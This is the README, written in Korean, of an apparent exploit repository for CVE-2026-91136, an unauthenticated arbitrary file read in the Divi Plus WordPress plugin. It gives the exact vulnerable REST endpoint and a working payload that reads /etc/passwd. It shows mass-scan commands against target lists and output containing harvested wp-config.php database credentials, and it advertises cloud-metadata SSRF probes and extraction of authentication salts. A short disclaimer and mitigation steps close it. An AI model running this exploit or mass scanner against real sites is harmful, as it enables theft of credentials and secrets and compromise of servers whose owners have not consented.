CVE-2026-91136 — Divi Plus ≤ 2.4.0 — 인증되지 않은 임의 파일 읽기 PoC

Divi Plus (Elicus) — WordPress 플러그인 ≤ 2.4.0 — elicus/v1 REST 네임스페이스의 svg_image 파라미터를 통한 인증되지 않은 임의 파일 읽기.

📋 취약점 개요

🔍 기술 설명

SVGAnimatorController::index_permission이 무조건 true를 반환하므로, /wp-json/elicus/v1/dipl-modules/svg-animator 엔드포인트는 인증 없이 접근할 수 있습니다. svg_image 입력은 file_get_contents()(폴백으로 wp_remote_get())로 전달되기 전에 sanitize_text_field()와 esc_html()만 거치는데, 이 함수들은 파일시스템 경로, file:// 스트림 래퍼 또는 원격 URL을 제한하지 않습니다. 원시 응답 본문은 JSON html 필드에 반환됩니다.

GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
        │
        ▼
index_permission() = true (no auth)
        │
        ▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
        │
        ▼
file_get_contents() -> fallback wp_remote_get()
        │
        ▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}

영향: /etc/passwd, wp-config.php(DB 자격 증명 + 인증 솔트), SSRF를 통한 클라우드 메타데이터(169.254.169.254 / GCP / Azure / DO / OCI), .env 및 웹 사용자가 읽을 수 있는 기타 모든 파일을 읽을 수 있습니다.

🚀 사용법

# single target
python CVE-2026-91136.py -u https://target.com

# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results

# interactive (banner -> targets -> threads)
python CVE-2026-91136.py

📊 출력

[OK] https://target.com                                        ✓ 1  ✗ 0
    passwd: root:x:0:0:root:/root:/bin/bash
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
    wp-config: /var/www/html/wp-config.php
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
      DB_NAME=wordpress
      DB_USER=wp_user
      DB_PASSWORD=***
      DB_HOST=localhost

✓ OK: 1   ✗ FAIL: 2979   total: 2980

• 실시간 단일 행 진행 표시줄: [████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247
• results.hits.txt — 취약한 것으로 확인된 대상만 포함

⚙️ 기능

• 핑거프린팅: svg-animator 엔드포인트 응답 + divi-plus 자산의 ?ver=를 통한 버전 확인
• 버전 오라클: 취약한 분기는 파일 본문을 반환하고, 패치된/WAF는 403/빈 응답을 반환
• wp-config.php 탐색: 고정 후보 + /etc/passwd에서 파싱한 실제 /home/<user>/ 디렉터리
• SSRF 프로브: AWS / GCP / Azure / DigitalOcean / OCI 메타데이터 엔드포인트
• 데이터 추출: DB 자격 증명 + WordPress 인증 솔트, 발견 항목별로 직접 재사용 가능한 링크 제공
• 대량 모드: 스레드 풀, 중복 제거, 실시간 ✓/✗ 집계, JSONL + hits 내보내기

📁 파일 구조

├── CVE-2026-91136.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ 면책 조항

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ 완화 방안

1. Divi Plus를 2.4.1(또는 이후 버전)로 업데이트
2. 파일 읽기를 통해 노출된 자격 증명 교체
3. WAF에서 GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator 차단
4. file://, /etc/ 또는 메타데이터 IP를 포함하는 svg_image 값에 대해 로그 모니터링